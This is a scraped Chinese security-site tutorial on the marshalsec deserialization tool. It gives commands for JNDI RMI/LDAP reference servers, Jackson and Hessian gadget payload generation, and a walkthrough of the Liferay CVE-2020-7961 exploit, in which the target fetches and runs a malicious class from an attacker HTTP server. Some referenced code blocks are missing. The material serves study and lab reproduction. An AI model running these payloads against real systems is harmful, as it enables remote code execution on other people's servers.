标题 | 简介 | 类型 | 公开时间 | ||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||||
详情 | |||||||||||||||||||||||||||||||
[SAFE-ID: JIWO-2025-2961] 作者: ecawen 发表于: [2021-12-12]
本文共 [771] 位读者顶过
marshalsec命令格式如下: [出自:jiwo.org]
参数说明:
开启RMI服务 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1/css/#ExportObject 1099 开启LDAP服务 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/css/#ExportObject 1389 查询可用Gadget
生成特定Payload java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.Hessian -v XBean http://127.0.0.1:8080/ExecObject 攻击载荷 目前marshalsec支持的exploit和payload有:
列出所有jackson的gadgets 传参为calc
如果想查找组件可以生成的gadgets有哪些 以Jackson为例
如果想查找gadgets可以用于哪些组件生成 方法1、以resin为例,可以查看手册
方法2、选择想看的gadgets->find usages
使用实例: Liferay Portal CE 反序列化命令执行漏洞(CVE-2020-7961) 完整复现过程:https://vulhub.org/#/environments/liferay-portal/CVE-2020-7961/ marshalsec的使用如下: 首先准备一个恶意的Java类,编译:
在保存着class文件的目录下运行一个HTTP文件服务:
因为目标Java版本较高,我们使用利用链是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,借助marshalsec来生成一个适用于Jackson的POC: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://127.0.0.1/ LifExp
其中,http://127.0.0.1/是刚才启动的保存了恶意class文件的Web服务,LifExp是恶意类名。 这里需要注意 是2个参数 第一个参数 http://127.0.0.1/ 是python启动的http服务器 第二个参数 LifExp 是先前编译的文件的名称除去后缀class的部分 也是java类名 就此一看很难想象最后怎么通过http能访问到文件 LifExp.class 测试后发现 可能此命令生成的字节码中 最后访问的url会被组合为 http://127.0.0.1/LifExp.class 从而成功访问到 LifExp.class 文件 |